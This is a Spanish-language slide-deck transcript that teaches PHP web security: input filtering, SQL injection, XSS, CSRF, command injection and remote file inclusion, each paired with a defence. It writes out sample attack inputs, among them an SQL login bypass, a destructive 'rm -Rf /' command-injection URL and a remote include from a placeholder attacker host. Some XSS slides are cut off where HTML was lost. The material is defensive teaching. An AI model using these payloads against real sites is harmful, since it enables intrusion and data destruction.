Seguridad en PHP (es)

download Seguridad en PHP (es)

If you can't read please download the document

Transcript of Seguridad en PHP (es)

  • 1. PHP SEGURIDAD (o cmo evitar que los malos nos jodan vivos)

2. PHP

  • Hoy en da, hacer una web que no sea esttica puede ser una pesadilla por la cantidad de ataques existentes

3. Algo tan simple como ya es una vulnerabilidad en una pgina web

  • S, lo digo en serio
  • Muy en serio!

4. PHP

  • 2 reglas bsicas:
  • NUNCA confiar en datos que provengan del usuario

5. "Filter your input, Escape your output" Adems de stas hay otras a tener en cuenta, pero sin duda stas son las ms importantes 6. PHP

  • No confiar en datos que vienen del usuario (i)
  • Si el usuario puede modificar el valor de una variable, no se debe confiar nunca en este dato
  • productos.php?id=4

7. El usuario puede modificar fcilmente el id de producto a visualizar, y poner, en vez de un nmero, cualquier otra cosa 8. Asegurarse que $_GET['id'] es un nmero!!! 9. PHP

  • No confiar en datos que vienen del usuario (ii)
  • En el caso anterior est muy claro que el usuario puede modificar el id que nos enva.

10. En el formulario que aparece aqu al lado, un usuario tambin puede modificar el valor del mes

  • Cmo? Modificando el html y luego enviando el formulario a su destino

11. O usando plugins para el navegador 12. 10 minutos de ejercicio! 13. PHP

  • No confiar en datos que vienen del usuario (iii)
  • Visto lo visto con el ejercicio anterior, espero que todos comprobis que lo que os llega a travs de formularios son valores vlidos antes de empezar a trabajar con ellos

14. Datos que puede modificar el usuario:

  • $_GET, $_POST, $_REQUEST, $_COOKIE, $_FILES* , $_SERVER*

* Algunos campos nicamente 15. PHP

  • Filter your input, Escape your output (i)
  • Filter your input se refiere a lo que ya hemos comentado antes... no confiar en los datos que enva el usuario

16. Cada vez que enviamos datos a un medio, hemos de evitar que caracteres especiales para ese medio que puedan existir en los datos que enviamos se interpreten como tales:

  • Comillas (simples o dobles) en bases de datos

17. , &, ', " en html 18. ', ", $, ;, ` al ejecutar comandos en la terminal 19. PHP

  • Filter your input, Escape your output (ii)
  • SQL Injection (i)
  • Sucede cuando no escapamos las ' o " en una consulta a la base de datos

20. $sql = "SELECT * FROM usuarios WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'"; 21. Si nos envan usuario 'pepe' y contrasea 'patata' 22. $sql = "SELECT * FROM usuarios WHERE username='pepe' AND password='patata'; 23. Sin peligro! 24. PHP

  • Filter your input, Escape your output (iii)
  • SQL Injection (ii)
  • Un atacante podra introducir esto como username: ' OR id=1 -- (tal cual, con la comilla includa)

25. Query generado: $sql = "SELECT * FROM usuarios WHERE username='' OR id=1 --' AND password='blabla'" 26. A partir de -- es comentario 27. El atacante podra autenticarse como cualquier usuario! 28. PHP

  • Filter your input, Escape your output (iv)
  • SQL Injection (iii)
  • Un atacante podra usar una SQL Injection para mltiples propsitos:

29. Login sin usuario / contrasea 30. Obtener registros de la base de datos (datos bancarios, personales, passwords...) 31. Eliminar registros o tablas de la BD 32. PHP

  • Filter your input, Escape your output (v)
  • SQL Injection (iv)
  • Solucin: Escapar las comillas (y algunos otros caracteres)

33. Manera: Usar mtodos especficos del driver de la base de datos:

  • $mysqli->real_escape_string($variable)

34. $pdo->quote($variable) 35. Si no hay mtodo disponible, addslashes($var) Manera 2: Prepared Statements 36. PHP

  • Filter your input, Escape your output (vi)
  • Cross-Site Scripting (XSS) (i)
  • Cuando los datos que escribe el usuario se muestran en una pgina web

37. El usuario puede escribir html que se interpretar como tal 38. Posibilidades enormes para un atacante, la ms habitual insertar un o 43. Usa un redireccionador tipo tinyurl para el ataque anterior 44. PHP

  • Filter your input, Escape your output (viii)
  • Cross-Site Scripting (XSS) (iii)
  • Para protegernos (y a nuestros usuarios): Evitar que se interprete el cdigo html que entran nuestros usuarios

45. htmlspecialchars($texto_usuario); 46. PHP

  • Cross-Site Request Forgery (CSRF) (i)
  • Un atacante envia una peticin a un sitio web como si proviniera de un usuario legtimo

47. ejemplo

  • Un usuario se ha logueado en www.mipagina.com

48. En otra ventana del navegador, visita http://malos.com/, donde hay este cdigo: 49. Esto provoca que el navegador del usuario lance una peticin a mipagina.com/logout.php, que parece legtima, y desloguea al usuario 50. PHP

  • Cross-Site Request Forgery (CSRF) (ii)
  • Puede afectar tanto a peticiones GET como POST

51. El caso del logout es ms o menos inofensivo, aunque molesto 52. lacaixa.com/traspasar_fondos.php?from=mi_cuenta&to=cuenta_atacante&cantidad=10000

  • ya no es tan inofensivo eh?

53. PHP

  • Cross-Site Request Forgery (CSRF) (iii)
  • Para protegernos (y a nuestros usuarios)

54. Uso de tokens nicos entre peticiones

  • Generar un token aleatorio y guardarlo en la sesin

55. En la siguiente peticin que haya, comprobar la existencia de dicho token (que se habr enviado en la url o mediante un input hidden) 56. Si existe y es el mismo que el de la sesin, todo correcto: procesamos la peticin 57. Si no existe o es diferente: posible ataque. No hacemos nada 58. PHP

  • Cross-Site Request Forgery (CSRF) (iv)
    • Regenerar un token cada vez
  • 59. Es muy difcil (si no imposible) que un atacante pueda realizar una peticin hacindose pasar por un usuario legtimo acertando el token que toque

Es un ataque indiscriminado, aunque con pocas posibilidades de xito excepto a sitios de primera lnea

  • Necesitamos que el usuario se haya autenticado en la pgina y luego visite la web malos.com

60. PHP

  • Ejecutar comandos (i)
  • Imaginad que queremos mostrar al usuario los archivos que hay en una carpeta, el nombre de la cual nos la proporciona el usuario: listar.php?carpeta=imagenes

61. El cdigo de listar.php incluye: $comando = "ls ".$_GET['carpeta']; echo exec($comando); 62. PHP

  • Ejecutar comandos (ii)
  • Si el usuario accede a: listar.php?carpeta=imagenes; rm -Rf /

63. La instruccin a ejecutar quedara como: ls imagenes; rm -Rf / 64. 2 comandos! listar el contenido de la carpeta imgenes... y luego borrar todos los archivos del disco duro! 65. Evitarlo usando escapeshellcmd() y escapeshellarg() 66. PHP

  • Incluir archivos remotos (i)
  • Es (o era) bastante comn acceder a un sitio con una url similar a index.php?pagina=productos

67. Internamente, index.php realiza una cosa similar arequire_once($_GET['pagina'].'.php'); 68. Qu pasa si un atacante accede a index.php?pagina=http://malos.com/script 69. Bingo... la hemos jodido! 70. PHP

  • Incluir archivos remotos (ii)
  • http://malos.com/script.php ser una pgina con cdigo PHP, que descargaremos y ejecutaremos en nuestro servidor, lo que significa que estaremos ejecutando cdigo PHP creado por un atacante... y que probablemente no tendr nada de bueno

71. Para evitarlo (i):

  • Pasar la pgina como un nmero y consultar un array de pginas

72. Poner un ./ al inicio del require (de esta forma se intentara incluir './http://malos.com/script.php', y fallara 73. PHP

  • Incluir archivos remotos (iii)
  • Para evitarlo (ii):
  • Desactivar la funcionalidad de incluir archivos remotos en php (directiva allow_url_include)

74. PHP

  • TODO:
  • Validacin servidor obligatoria!!!
  • (validacin cliente opcional)

Robo sesiones 75. Usuario root bd